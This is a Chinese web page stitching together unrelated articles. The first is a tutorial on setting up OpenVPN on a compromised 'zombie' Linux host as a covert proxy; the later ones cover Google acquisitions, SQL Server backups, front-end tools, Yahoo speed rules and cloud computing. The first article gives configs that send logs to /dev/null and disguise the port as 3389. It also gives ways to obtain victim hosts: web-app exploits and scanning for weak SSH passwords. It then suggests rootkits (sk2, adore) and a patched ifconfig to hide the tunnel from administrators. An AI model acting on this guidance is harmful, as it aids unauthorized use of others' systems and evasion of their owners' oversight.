Linux环境下建立VPN服务器

上节课,所介绍过了VPN是什么?Windows 2003 下VPN服务器配置,今天我们一起来研究一下VPN在linux下的配置方法。
VPN的英文全称是“Virtual Private Network”,翻译过来就是“虚拟专用网络”。顾名思义,虚拟专用网络我们可以把它理解成是虚拟出来的企业内部专线。它可以通过特殊的加密的通讯协议在连接在Internet上的位于不同地方的两个或多个企业内部网之间建立一条专有的通讯线路,就好比是架设了一条专线一样,但是它并不需要真正的去铺设光缆之类的物理线路。
一:背景
对VPN的分类什么的有个大概的了解,知道是个大概怎么回事,如果不大清楚的朋友可以google一下,喜欢看英文文档的朋友可以看下面两个文档对VPN的介绍,很清晰。本文就不对这些内容进行具体的介绍了。
http://hmyblog.vmmatrix.net/sdbwww/pub/books/Packt.Publishing.
OpenVPN.Building.And.Integrating.Virtual.Private.Networks.Mar.2006.pdf

http://hmyblog.vmmatrix.net/sdbwww/pub/books/Packt.Publishing.Building.And.
Integrating.Virtual.Private.Networks.With.Openswan.Jan.200620060628185701.rar

说 到这里,baoz忍不住要打个岔,如果是刚接触一个新领域新知识的话,最好少看中国大陆人写的技术文档,那信不过,一来说不清楚(比如本文,呵呵),二来 很多地方忽悠人,说不定他自己也不清楚,乱写一气,要不就在关键的地方漏一点或者改一点,照搬人家老外的东西连目录文件名不改竟然还叫原创。具体大家在搜 索swan +vpn的时候就有机会遇到了。反正不想被带着瞎走就最好看英文文档或者中国台湾人写的东西,比如那个叫鸟哥的人写的文章还不错,虽然很基础,但讲的很清 楚,他出了本书,叫《鸟哥的私房菜》来着,很适合linux的入门者阅读。另外一些大点的程序在官方网站都有DOCUMENT或者HOWTO,FAQ什么 之类的,认真看看哪怕不去做也会收获不少,起码知道那软件大概是怎么回事。
baozi大致的看了一下上面的两个PDF,收益良多,再次推荐一下,对VPN和openswan,openvpn介绍的十分详细。
目标系统 red hat linux 9默认安装
二:需求
说白了就是用肉鸡做加密代理
1:对系统尽可能小的改变,包括添加文件和系统日志,因为我们用的是肉鸡。
2:是client–>server的模式,而不是net-net的模式,浏览网页而已。
3:无论server还是client都要配置方便,简单好用,我们要的是快速。
三:选型
1:*swan
A:ipsec vpn的代表,默认端口tcp/udp 500
B:优点:加密强,对网络游戏什么的支持好(我们用不上)
C: 缺点:部署麻烦,配置麻烦,关键是他的nat-t,就是nat穿越功能需要打内核补丁,重新编译内核才行,这事在肉鸡做不得,呵呵。具体的可以看上面的那 个openswan的rar,讲的十分详细。大概的说说swan系列吧,最开始是freeswan,然后貌似在2004年停止开发了,衍生出 openswan和strongswan两个分支,我看了一下,貌似openswan发展的不错,strongswan连个rpm包都没,当然,那是貌 似。因为我不懂得code,说啥都得加貌似二字的,不过千万别小看scriptkid哦,因为你不知道什么时候他就在你的系统里用uid0在 script,虽然我还是多次被别人B4,呵呵。绕回来……swan系列分两块,一个是用户空间程序,一个是内核空间程序。用户空间程序叫p什么来o来 着,至于到底是p什么o,你装装就知道了,要不装,知道了也没啥意义。:)内核空间的包括模块和补丁,大概就那么回事。就是说,要做到nat-t,就需要 用户空间程序,lkm和内核补丁,需要重新编译内核,这个我们在肉鸡没法做,drop之。还有他要用root运行。
2:pptpd
A:pptp vpn的典型代表,默认端口tcp 1723
B:优点:windows带了他的client,安装也方便,就几个rpm,配置也不难
C:缺点:一拨进去他就会改缺省网关,很烦,要么拨进去自己route add/delete几下改改,一直别断开,看个网站犯得着那么麻烦吗
3:openvpn
A:SSL VPN的典型代表,默认端口tcp/udp 1194
B: 优点:简单好装,一个rpm搞定,要压缩的话多一个lzo的rpm包。配置也是简单的很,就生成一个static.key,还可以chroot,并且可以 以nobody运行,肉鸡的安全也是很重要的,保管不好就被抢了,不过chroot就没必要了,有兴趣的朋友可以自己搞搞:) ldd一下把要的东西都丢到一个地方然后加上配置文件就差不多了,再改改启动脚本。
还有就是拨进VPN之后,他不会改你默认网关,免去了折腾的烦恼,我们可以把sf.net的地址加到静态路由去。
在server那边只需要开一个udp or tcp端口就可以了,不怎么需要去动别人的iptables。
貌似好象还有负载均衡什么的,这个和我们的目的差距有点大了,ignore之。
C:缺点:除了要额外装一个client之外,相对我们的需求来说貌似没什么缺点了。
四:开搞
1:安装client and server程序
http://dag.wieers.com/packages/openvpn/openvpn-2.0.7-1.rh9.rf.i386.rpm
[root@RH9 root]# rpm -ivh lzo-1.08-2_2.RHL9.at.i386.rpm
warning: lzo-1.08-2_2.RHL9.at.i386.rpm: V3 DSA signatur    E: NOKEY, key ID 66534c2b
Preparing…                ########################################### [100%]
1:lzo                    ########################################### [100%]
[root@RH9 root]# rpm -ivh openvpn-2.0.7-1.rh9.rf.i386.rpm
warning: openvpn-2.0.7-1.rh9.rf.i386.rpm: V3 DSA signatur    E: NOKEY, key ID 6b8d79e6
Preparing…                ########################################### [100%]
1:openvpn                ########################################### [100%]
2:服务端配置
[root@RH9 root]# cat > /etc/openvpn/server.conf
dev tun
ifconfig 10.8.0.1 10.8.0.2
secret static.key ;天王盖地虎,宝塔镇河妖
user nobody ;降权限,保安全
group nobody
port 3389 ;改端口,忽啊悠–>不过别改1024以下的端口,那需要root权限,就得把上面两行nobody的删除。
comp-lzo ;起压缩,加速度
;keep alive
keepalive 10 60 ;推连接,不掉线
ping-timer-rem
persist-tun
persist-key
;no-log ;不记录啊不日志
verb 0
status /dev/null
log         /dev/null
log-append  /dev/null
server配置完毕。
3:客户端配置
安装这个http://www.openvpn.se/files/install_packages/openvpn-2.0.9-gui-1.0.3-install.exe
然后打开开始–程序–openvpn–Generate a static OpenVPN key,这会在C:\Program Files\OpenVPN\config下生成一个叫key.txt的文件,把他重命名为static.key。
然后把这个文件复制到linux肉鸡的/etc/openvpn/static.key去
最后在C:\Program Files\OpenVPN\config目录下创建一个叫client.ovpn的文件,内容如下
remote 肉鸡的IP
dev tun
ifconfig 10.8.0.2 10.8.0.1
secret static.key
port 3389
verb 3
comp-lzo
keepalive 10 60
ping-timer-rem
persist-tun
persist-key
client配置完毕。
注意,无论是服务端还是客户端的IP,都不要和系统有的IP段冲突,另外改了端口需要在client and server都改一致。
4:启动并连接
A:启动服务端

[root@RH9 root]# /etc/init.d/openvpn start
Starting openvpn:                                          [  OK  ]
这个时候理论上会发现多了一个接口,等会我们要收拾这个口子。
[root@RH9 root]# ifconfig tun0
tun0      Link encap:Point-to-Point Protocol
inet addr:10.8.0.1  P-t-P:10.8.0.2  Mask:255.255.255.255
UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b) [root@RH9 root]# netstat -an | grep 3389
udp        0      0 0.0.0.0:3389            0.0.0.0:*
这个时候理论上会起了一个3389的udp口,如果这两个事情都有了,那就OK了,一般除了RP有WT之外,这里基本都不怎么可能出现错误。:)
如果有错误的话,就把上面的
verb 0
status /dev/null
log         /dev/null
log-append  /dev/null
改成
verb 9
status /usr/lib/0
log         /usr/lib/1
log-append  /usr/lib/1
然后重新启动openvpn服务并查看日志,注意,这个时候messages会有日志,调试完毕记得删除/usr/lib/0 /usr/lib/1。 B:启动客户端
开始–程序–openvpn–OpenVPN GUI
连接服务端
点右下角红色的图标–connect
图标变绿,就是成功连接并分配到地址了,注意让你的防火墙通过。
如果没变绿色,从那个图标那view log,如果发现不到问题,就把client的配置文件的verb设置为9,重新连接,再看日志,再google。
C:检查连接:
在client里看到有这么个信息
Ethernet adapter 本地连接   4:
Connection-specific DNS Suffix  . :
IP Address. . . . . . . . . . . . : 10.8.0.2
Subnet Mask . . . . . . . . . . . : 255.255.255.252
Default Gateway . . . . . . . . . :
C:\>ping 10.8.0.1
Pinging 10.8.0.1 with 32 bytes of data:
Reply from 10.8.0.1: bytes=32 time=7ms TTL=64
连接木有问题,这个时候就根据个人的喜好,是改默认网关还是只根据目的地址route add一下了
如果肉鸡速度快的话改默认网关吧。
C:\>route delete 0.0.0.0
C:\>route add 0.0.0.0 mask 0.0.0.0 10.8.0.1 –>注意啊,是vpn server的tun0的地址。
如果DNS服务器不在内网的话,自己再route add一次DNS的地址就OK,如果想长期生效,可在route add语句最后加-p参数。
D:服务端打开转发
做个nat,但注意一下eth0需要是可以去外网的接口啊,否则等会数据走不出去,如果肉鸡是单接口的话就不需要担心。
[root@RH9 root]# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
再看看转发开了没
[root@RH9 root]# sysctl -a | grep net.ipv4.ip_forward
net.ipv4.ip_forward = 0
我们把他打开
[root@RH9 root]# sysctl -w net.ipv4.ip_forward=1
5:找错
VPN一般出问题就只有三个地方,client的防火墙,server的防火墙,和转发开关是否打开,所以我们在服务端抓抓包就完全可以找到出问题的地方。ipsec pptp都可以这么找错。
A:在server的tun0口抓一切包,以检测client–>server是否连通,废话,肯定连通的,否则那图标怎么会是绿色….
[root@RH9 root]# tcpdump -n -i tun0
tcpdump: listening on tun0
B:在server的eth0口抓目标地址包,以检测转发是否有问题。
[root@RH9 root]# tcpdump -n -i eth0 dst host baoz.net
tcpdump: listening on eth0
C:
这个时候我们telnet一下baoz.net看看
C:\>telnet baoz.net
两边都看到有包就对了。如果有一边看不到包,就自己折腾一下好了。看看一路过来是不是都没搞错。
到此为止,我们已经可以
五:肉鸡中的隐藏
1:肉鸡哪来?
A:web app漏洞,awstat什么的,没事就留意一下milw0rm.com的webapp部分,出新漏洞了就google hacking一把。 B:ssh or telnet弱口令 没事就找几个A BLOCK扫扫看。推荐xfocus冰河的X-Scan。 C:0day exp ? 这个我就不清楚了。 D:蜜罐,上面三种情况都可能是蜜罐,不过没关系,就做个代理上上网嘛,蜜罐就蜜罐了,只要网速快就行。
2:日志
日志的处理上面在服务端配置部分已经提到了的,小心处理就是,只要你比系统(安全)管理员更XX你就可以玩的下去,其中XX可以用细心,坚韧,不拔等形容词代替。
3:进程、端口和连接
A:sk2 一装,用sk2的client进去启动openvpn,动态隐藏进程端口和网络连接 B:adore,貌似要改改才行,不过我暂时没这个需求,sk2已经很爽了。 C:shv5,最近抓到的一个rootkit,替换ELF文件的,很容易被查出来,没啥意思,他的特征是默认有个/usr/lib/libsh目录。
4:ifconfig
这 个是最关键的也是最麻烦的,因为一般的人都会ifconfig敲着玩玩的,一不小心就会被发现多了个tun0。。。。呵呵,我想了想办法有两: A:使用awk or sed脚本替换/sbin/ifconfig,过滤掉tun0相关的输出,但这个比较容易被chkrootkit这样的东西发现,不过即使被人家用 chkrootkit发现了也挺光荣的,至少用chkrootkit的人还稍微比较专业点,总比被人家ifconfig发现了好吧…… B:修改ifconfig的源程序,让他输出的时候不显示tunX设备,这个相对稳妥,因为一般检查ifconfig都是对比那混杂模式而已的,当然还有 文件类型。
[root@RH9 root]# rpm -q –whatprovides /sbin/ifconfig
net-tools-1.60-12
查了一下,在这个软件包里,想改的自己可以改改,不想改的就去找找有没人改好的现成的了,就当留给我和各位有兴趣的朋友的家庭作业好了:)
六:TODO
tunX的稳妥隐藏
chroot openvpn
七:参考
http://openvpn.net/howto.html
http://www.securityfocus.com/infocus/1821
Packt.Publishing.OpenVPN.Building.And.Integrating.Virtual.Private.Networks.pdf
Packt.Publishing.Building.And.Integrating.Virtual.Private.Networks.With.Openswan.pdf
八:写在最后
信 息安全是一把双刃剑,自己知道了可以尽可能怎么攻击,该怎么攻击,其中会有什么地方可以被发现,才有可能知道了人家想怎么攻击,会怎么攻击,也才有机会发 现入侵企图或入侵者,进而把入侵者赶出去或拦在门外,否则被人家root了几年还不知道怎么回事。呵呵,我是不是做XX还立牌坊了?无论怎样那却是不争的 事实。
FROM:51CTO

谷歌投资与并购地铁路线图曝光

金融社交网络MeetTheBoss.com的网民制作了以上的谷歌并购和投资地铁路线图。MeetTheBoss之前也为亚马逊和eBay制作了类似的地图。图中没有来得及囊括谷歌刚刚在上周收购的ReCAPTCHA,但是已经包括了谷歌大部分的并购。
图中每个站点代表一个并购。最长的、包含最多站点的一条路线是技术(紫罗兰色)和服务(绿色)。可以看到并行在两条线上的新公司可能会更容易被谷歌收购,至少过去是这样。其他更短一些,但是有重叠的线路包括广告(粉色)、搜索(橙色)、地图(紫红色)、社交(红色)、视频(深红色)。不知道谷歌未来会在哪条路线上延伸。
在谷歌的投资当中,可以看到中国的搜索公司百度和中国的下载软件迅雷。
在今年大半年时间当中,谷歌都没有进行并购。但是八月对视频压缩技术公司On2 Technologies的收购,以及一周前对网络防欺诈工具软件公司ReCAPTCHA的收购,表明谷歌已经重启收购战略。
谷歌首席执行官埃里克·施密特(Eric Schmidt)近日表示,他希望在一个月内就收购一家小型公司,大宗的收购也有可能,他认为这是一个很好的吸纳最优秀人才的途径。

谷歌投资与并购路线图曝光

谷歌投资与并购路线图曝光

谷歌在2003年收购了拥有Blogger的Pyra Labs。在2006年收购了广播广告公司dMarc。同年收购了Upstartle,将其技术和谷歌电子数据表合并成了谷歌文档。2006年10月,谷歌宣布以16.5亿美元收购Yutube。
2007 年,谷歌又兼并了四家公司:瑞典Gapminder公司的互动统计软件Trendalyzer、游戏广告公司Adscape Media、软件应用平台PeakStream Technologies和网络广告服务商DoubleClick. 在所有谷歌并购的公司中,迄今为止,DoubleClick可能会给谷歌带来最多收入。

SqlServer自动备份策略设置

Sql Server自身就提供了完善的备份机制,我们只要灵活运用,就能达到令人满意的效果。
先了解一下:为何要做备份?
数据备份是容灾的基础,是指为防止系统出现操作失误或系统故障导致数据丢失,而将全部或部分数据集合从应用主机的硬盘或阵列复制到其它的存储介质的过程。传统的数据备份主要是采用内置或外置的磁带机进行冷备份。但是这种方式只能防止操作失误等人为故障,而且其恢复时间也很长。随着技术的不断发展,数据的海量增加,不少的企业开始采用网络备份。网络备份一般通过专业的数据存储管理软件结合相应的硬件和存储设备来实现。
方法一:SqlServer自动作业备份
1、打开SQL Server Management Studio
2、启动SQL Server代理
3、点击作业->新建作业
4、”常规”中输入作业的名称
5、新建步骤,类型选T-SQL,在下面的命令中输入下面语句

DECLARE @strPath NVARCHAR(200)
set @strPath = convert(NVARCHAR(19),getdate(),120)
set @strPath = REPLACE(@strPath, ‘:’ , ‘.’)
set @strPath = ‘D:\bak\’ + ‘databasename’+@strPath + ‘.bak’
BACKUP DATABASE [databasename] TO DISK = @strPath WITH NOINIT , NOUNLOAD , NOSKIP , STATS = 10, NOFORMAT

(D:\bak\改为自己的备份路径,databasename修改为想备份的数据库的名称)
6、添加计划,设置频率,时间等。确定,完成。
方法二:SqlServer自动作业备份
SQL2005的维护计划里面自带了备份数据库任务,但不会自动按日期命名,不方便,下面的方法是以存储过程来解决的。
要用SQL2005的维护计划功能首先要确认SQL Server Agent服务是在启动状态,然后打开SQL Server Management Studio,展开对象资源管理器里的“管理”,右击维护计划选择新建维护计划,为维护计划命名,如:TestDB_Backup,选择默认的子计划 “Subplan_1 ”并点击上方的子计划设置按钮来设置子计划执行方式和时间:

备份设置
出现设置界面,设置每天3点执行一次,如图:
创建存储过程
确定后保存一下,然后新建一个查询页,开始创建存储过程,代码如下:

USE [TestDB]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [BackupDatabase](@FolderPath varchar(500))
as
DECLARE @FullPath varchar(1000)
set @FullPath = @FolderPath+ ‘TestDB_’+convert(VARCHAR(4),year(getdate()))+right( ‘0′+convert(VARCHAR(2),MONTH(getdate())),2)+right(’0′+convert(VARCHAR(2),DAY(getdate())),2)+ ‘.bak’
backup database [TestDB] to disk=@FullPath WITH INIT
return
USE [TestDB] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE PROCEDURE [BackupDatabase](@FolderPath varchar(500)) as DECLARE @FullPath varchar(1000) set @FullPath = @FolderPath+ ‘TestDB_’+convert(VARCHAR(4),year(getdate()))+right( ‘0′+convert(VARCHAR(2),MONTH(getdate())),2)+right(’0′+convert(VARCHAR(2),DAY(getdate())),2)+ ‘.bak’ backup database [TestDB] to disk=@FullPath WITH INIT return


设置完毕,切换回维护计划设置页面,在左边的工具箱中拖入一个“执行T-SQL语句任务”:

执行T-SQL语句任务

双击拖入后的“执行T-SQL语句任务”,输入执行存储过程的语句来完成每天的自动备份工作,代码如下:


use [TestDB]
exec BackupDatabase ‘E:\SqlData\TestDB\’
use [TestDB] exec BackupDatabase ‘E:\SqlData\TestDB\’


确定后保存该维护计划即可

SqlServer自动作业备份
SQL2005的维护计划里面自带了备份数据库任务,但不会自动按日期命名,不方便,下面的方法是以存储过程来解决的。
要用SQL2005的维护计划功能首先要确认SQL Server Agent服务是在启动状态,然后打开SQL Server Management Studio,展开对象资源管理器里的“管理”,右击维护计划选择新建维护计划,为维护计划命名,如:TestDB_Backup,选择默认的子计划 “Subplan_1 ”并点击上方的子计划设置按钮来设置子计划执行方式和时间:
出现设置界面,设置每天3点执行一次,如图:
确定后保存一下,然后新建一个查询页,开始创建存储过程,代码如下:
USE [TestDB]
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [BackupDatabase](@FolderPath varchar(500))
as
DECLARE @FullPath varchar(1000)
set @FullPath = @FolderPath+ ‘TestDB_’+convert(VARCHAR(4),year(getdate()))+right( ‘0′+convert(VARCHAR(2),MONTH(getdate())),2)+right(’0′+convert(VARCHAR(2),DAY(getdate())),2)+ ‘.bak’
backup database [TestDB] to disk=@FullPath WITH INIT
return
USE [TestDB] GO SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE PROCEDURE [BackupDatabase](@FolderPath varchar(500)) as DECLARE @FullPath varchar(1000) set @FullPath = @FolderPath+ ‘TestDB_’+convert(VARCHAR(4),year(getdate()))+right( ‘0′+convert(VARCHAR(2),MONTH(getdate())),2)+right(’0′+convert(VARCHAR(2),DAY(getdate())),2)+ ‘.bak’ backup database [TestDB] to disk=@FullPath WITH INIT return
设置完毕,切换回维护计划设置页面,在左边的工具箱中拖入一个“执行T-SQL语句任务”:
双击拖入后的“执行T-SQL语句任务”,输入执行存储过程的语句来完成每天的自动备份工作,代码如下:
use [TestDB]
exec BackupDatabase ‘E:\SqlData\TestDB\’
use [TestDB] exec BackupDatabase ‘E:\SqlData\TestDB\’
确定后保存该维护计划即可

WEB前端开发必备工具

前端开发或者说“网页制作”、前端制作”、“网站重构”,这样的一个职位的主要职责是与交互设计师、视觉设计师协作,根据设计图用HTML、CSS、JS完成页面制作。同时,在此基础之上,对完成的页面进行维护和对网站前端性能做相应的优化。今天介绍一些WEB前端开发必备工具,以便大家参考使用,大家有什么好的工具,可以留言与厉害分享。
1、Macromedia Dreamweaver
Macromedia Dreamweaver 8 是建立 Web 站点和应用程序的专业工具。它将可视布局工具、应用程序开发功能和代码编辑支持组合在一起,其功能强大,使得各个层次的开发人员和设计人员都能够快速创建界面吸引人的基于标准的网站和应用程序。从对基于 CSS 的设计的领先支持到手工编码功能,Dreamweaver 提供了专业人员在一个集成、高效的环境中所需的工具。开发人员可以使用 Dreamweaver 及所选择的服务器技术来创建功能强大的 Internet 应用程序,从而使用户能连接到数据库、Web 服务和旧式系统。
下载:http://www.onlinedown.net/soft/22017.htm
2、EditPlus
一套功能强大,可取代记事本的文字编辑器,拥有无限制的Undo/Redo、英文拼字检查、自动换行、列数标记、搜寻取代、同时编辑多文件、全屏幕浏览功能。而它还有一个好用的功能,就是它有监视剪贴簿的功能,能够同步于剪贴簿自动将文字贴进EditPlus的编辑窗口中,让你省去做贴上的步骤。另外它也是一个好用的HTML编辑器,除了可以颜色标记HTML Tag (同时支持C/C++、Perl、Java)外,还内建完整的HTML和CSS1指令功能,对于习惯用记事本编辑网页的朋友,它可帮你节省一半以上的网页制作时间,若你有安装IE 3.0以上版本,它还会结合IE浏览器于EditPlus窗口中,让你可以直接预览编辑好的网页(若没安装IE,也可指定浏览器路径)。
下载:http://www.editplus.com/
3、Firebug
Firebug 和 firefox 整合在一起,使你浏览网页时手边有了一套强大的网页开发工具。你可以编辑、调试和监控任何网页上的 CSS、HTML 和 Javascript。要查阅文档、截图和论坛请访问Firebug的网站:
下载:http://www.getfirebug.com
4、HttpWatch
强大的网页数据分析工具.集成在浏览器的工具栏.包括网页摘要.Cookies管理.缓存管理.消息头发送/接受.字符查询.POST 数据和目录管理功能.报告输出。
下载:http://www.httpwatch.com/
5、JS公共类库

jQuery是一个快速简洁的JavaScript库,简化了HTML文档遍历网络发展迅速,事件处理,动画和Ajax交互。 jQuery是为了改变你编写JavaScript。
下载:http://jquery.com/
Prototype是一个JavaScript框架,旨在减轻动态网络应用开发。
具有独特的,易于使用的工具为类驱动的开发和最好的Ajax库周围,原型是迅速成为首选的网络应用程序开发代码库无处不在。
下载:http://www.prototypejs.org/

雅虎再谈WEB前端网站优化

转自:品位雅虎
雅虎给出了优化网站加载速度的34条法则(包括Yslow规则22条) 详细说明,下载转发 ponytail 的译文(来自帕兰映像)。
1.Minimize HTTP Requests 减少HTTP请求
图片、css、script、flash等等这些都会增加http请求数,减少这些元素的数量就能减少响应时间。把多个JS、CSS在可能的情况下写进一个文件,页面里直接写入图片也是不好的做法,应该写进CSS里,利用 CSS sprites 将小图拼合后利用background来定位。
2.Use a Content Delivery Network 利用CDN技术
CDN 确实是好东西,8过服务器提供商的这项服务一般是要收费的,我以前买的国内空间是有这个的但是我当时根本不知道啥用,现在没了。。。
3.Add an Expires or a Cache-Control Header 设置头文件过期或者静态缓存
浏览器会用缓存来减少http请求数来加快页面加载的时间,如果页面头部加一个很长的过期时间,浏览器就会一直缓存页面里的元素。不过这样如果 页面里的东西变动的话就要改名字了,否则用户端不会主动刷新,看自己衡量了~ 这项可以通过修改.htaccess文件来实现。
4.Gzip Components Gzip压缩
Gzip格式是一种很普遍的压缩技术,几乎所有的浏览器都有解压Gzip格式的能力,而且它可以压缩的比例非常大,一般压缩率为85%。压缩没压缩,可以到 这里 做下测试。
5.Put Stylesheets at the Top 把CSS放顶部
让浏览者能尽早的看到网站的完整样式。
6.Put Scripts at the Bottom 把JS放底部
网站呈现完毕后再进行功能设置,当然这些JS要在你的加载过程中不影响内容表现。
7.Avoid CSS Expressions 避免CSS Expressions
CSS表达式很可怕,这个只被IE支持的东西执行时候的运算量非常大,你移动一下鼠标它都要进行重计算的,但有时候为了做浏览器的兼容必须要用到这个||| IE6去死去死!~
8.Make JavaScript and CSS External 将JS和CSS外链
前面讲到了缓存这个事情,一些较为公用的JS和CSS,我们可以使用外链的形式,譬如我就是从Google外链来的Jquery文件,如果我的浏览者在浏览别的使用了这个外链文件的网站时已经下载并缓存了这个文件,那么他在浏览我的网站的时候就不需要再进行下载了!~
9.Reduce DNS Lookups 减少DNS查找
貌似是要减少网站从外部调用资源,我的Google分析和picasa的外链图片都算在里面了。
10.Minify JavaScript and CSS 减小JS和CSS的体积
写JS和CSS都是有技巧的,用最少的代码实现同样的功能,减少空白,增强逻辑性,用缩写方式等等,当然也有不少工具也能够帮你实现这一点。
11. Avoid Redirects 避免重定向
再写入链接时,虽然”http://www. today-s-ooxx. com”和”http://www. today-s-ooxx. com/” 仅有一个最后的”/”只差,但是结果是不同的,服务器需要花时间把前者重定向为后者然后进行跳转,这个要自己注意,也可以在Apache里用Alias 或者mod_rewrite或者DirectorySlash解决。
12. Remove Duplicate Scripts 删除重复脚本
重复调用的代码浏览器并不会识别忽略,而是会再次运算一遍,这当然是大大的浪费。
13. Configure ETags 配置ETags
搞不清楚咋回事,总之我是在. htaccess里把它删除了。
14. Make Ajax Cacheable 缓存Ajax
Ajax是实时响应的,在浏览器接收到新的数据前,旧的数据被缓存,这样能够更好的提高效率。
15. Flush the Buffer Early 尽早的释放缓冲
当用户进行页面请求时,服务器端需要花费200到500毫秒时间来拼合HTML,将写在head与body之间,释放缓冲,这样可以将文件头先发送出去,然后再发送文件内容,提高效率。
16. Use GET for AJAX Requests 用GET方式进行AJAX请求
Get 方法和服务器只有一次交互(发送数据),而 Post 要两次(发送头部再发送数据)。
17. Post-load Components 延迟加载组件
最先加载必须的组件进行页面初始化,然后再加载其他,YUI Image Loader 是很好的例子。
18. Preload components 预加载组件
提前加载以后可能用到的东西,和延迟加载并不冲突,它的目的是为后续请求提供更快的响应,参见Google首页上的CSS sprites应用。
19. Reduce the Number of DOM Elements 减少DOM元素数量
复杂的页面结构意味着更长的下载及响应时间,更合理更高效的使用标签来架构页面,是好的前端的必备条件。
20. Split Components Across Domains 跨域分离组件
页面组件多个来源可以增大你的平行下载量,但注意不要过多,超过2-4个域名会引起上面说到的DNS查找浪费。
21. Minimize the Number of iframes 减少iframe数量
需要更有效的利用 ifames。
iframe 优点:有利于下载缓慢的广告等第三方内容,安全沙箱,并行下载脚本
iframe 缺点:即使为空也会有较大资源消耗,会阻止页面的onload,非语义
22. No 404s 不要出现404页面
站点本身里(非搜索结果)出现404页面,无意义的404页面会影响用户体验并且会消耗服务器资源。
23. Reduce Cookie Size 减小Cookie
Cookie在服务器及浏览器之间的通过文件头进行交换,尽可能减小Cookie体积,设置合理的过期时间,能够很好的提高效率。
24. Use Cookie-free Domains for Components 对组件使用无Cookie的域名
对静态组件的Cookie读取是一种浪费,使用另一个无Cookie的域名来存放你的静态组件式一个好方法,或者也可以在Cookie中只存放带www的域名。
25. Minimize DOM Access 减少DOM的访问次数
JS访问DOM是很慢的,尽量不要用JS来设置页面布局。
26. Develop Smart Event Handlers 开发灵活的事件处理句柄
DOM树上过多的元素被加入事件句柄的话,反应效率肯定会低,YUI事件工具有一个 onAvailable 方法可以帮助你灵活的设置DOM事件句柄
27. Choose < link >over @import 使用< link >而非 @import
在IE中使用@import就和在页面底部用< link >一样,我们前面说要把< link >放顶部的。
28. Avoid Filters 避免过滤器的使用
如果需要Alpha透明,不要使用AlphaImageLoader,它效率低下而且只对IE6及以下的版本适用,用PNG8图片。如果你非要使用,加上_filter以免影响IE7+用户。
29. Optimize Images 优化图片
将你的GIF转为PNG8会是个减小体积的好办法,另外有很多方法处理你的JPG及PNG图片以达到优化效果。
30. Optimize CSS Sprites 优化CSS Sprites
在CSS Sprites中竖直并尽量紧凑的排列图片,尽量将颜色相似的图片排在一起,会减小图片本身的大小及提高页面图片显示速度。
31. Don’t Scale Images in HTML 不要在HTML中缩放图片
图片要用多大的就用多大的,1000X1000的图片被width=”100″ height=”100″以后,本身的KB数是不会减少的。
32. Make favicon. ico Small and Cacheable 缩小favicon. ico的大小并缓存它
站点的浏览器ICO应该不是经常换吧,那就长时间的缓存它,并且最好控制在1K以下。
33. Keep Components under 25K 保证组件在25K以下
iPhone不能缓存25K以上的组件,并且这还是要在被压缩前。
34. Pack Components into a Multipart Document 将组件打包进一个多部分的文档中
就好像在邮件中加入附件一样,一个HTTP请求就够了,但是这一技术需要确保你的代理支持,iPhone就不支持。

云计算到底是啥玩意?

云计算被叫了这么久,到底是啥玩意呢?再有,国内知名游戏培训机构也打起了云培训,以及该企业所提出的云世界计算。
先来了解一下云计算的含义
云计算(Cloud computing),是一种新兴的共享基础架构的方法,可以将巨大的系统池连接在一起以提供各种IT服务。很多因素推动了对这类环境的需求,其中包括连接设备、实时数据流、SOA的采用以及搜索、开放协作、社会网络和移动商务等这样的Web2.0应用的急剧增长。另外,数字元器件性能的提升也使IT环境的规模大幅度提高,从而进一步加强了对一个由统一的云进行管理的需求。
狭义云计算是指IT基础设施的交付和使用模式,指通过网络以按需、易扩展的方式获得所需的资源(硬件、平台、软件)。提供资源的网络被称为“云”。“云”中的资源在使用者看来是可以无限扩展的,并且可以随时获取,按需使用,随时扩展,按使用付费。这种特性经常被称为像水电一样使用IT基础设施。
广义云计算是指服务的交付和使用模式,指通过网络以按需、易扩展的方式获得所需的服务。这种服务可以是IT和软件、互联网相关的,也可以使任意其他的服务。
云计算是并行计算(Parallel Computing)、分布式计算(Distributed Computing)和网格计算(Grid Computing)的发展,或者说是这些计算机科学概念的商业实现。云计算是虚拟化(Virtualization)、效用计算(Utility Computing)、IaaS(基础设施即服务)、PaaS(平台即服务)、SaaS(软件即服务)等概念混合演进并跃升的结果。
云计算的特点是什么?
(1) 超大规模。“云”具有相当的规模,Google云计算已经拥有100多万台服务器, Amazon、IBM、微软、Yahoo等的“云”均拥有几十万台服务器。企业私有云一般拥有数百上千台服务器。“云”能赋予用户前所未有的计算能力。
(2) 虚拟化。云计算支持用户在任意位置、使用各种终端获取应用服务。所请求的资源来自“云”,而不是固定的有形的实体。应用在“云”中某处运行,但实际上用户无需了解、也不用担心应用运行的具体位置。只需要一台笔记本或者一个手机,就可以通过网络服务来实现我们需要的一切,甚至包括超级计算这样的任务。
云计算云计算
(3) 高可靠性。“云”使用了数据多副本容错、计算节点同构可互换等措施来保障服务的高可靠性,使用云计算比使用本地计算机可靠。
(4) 通用性。云计算不针对特定的应用,在“云”的支撑下可以构造出千变万化的应用,同一个“云”可以同时支撑不同的应用运行。
(5) 高可扩展性。“云”的规模可以动态伸缩,满足应用和用户规模增长的需要。
(6) 按需服务。“云”是一个庞大的资源池,你按需购买;云可以象自来水,电,煤气那样计费。
(7) 极其廉价。由于“云”的特殊容错措施可以采用极其廉价的节点来构成云,“云”的自动化集中式管理使大量企业无需负担日益高昂的数据中心管理成本,“云”的通用性使资源的利用率较之传统系统大幅提升,因此用户可以充分享受“云”的低成本优势,经常只要花费几百美元、几天时间就能完成以前需要数万美元、数月时间才能完成的任务。
云计算基本原理是什么?
云计算的基本原理是,通过使计算分布在大量的分布式计算机上,而非本地计算机或远程服务器中,企业数据中心的运行将更与互联网相似。
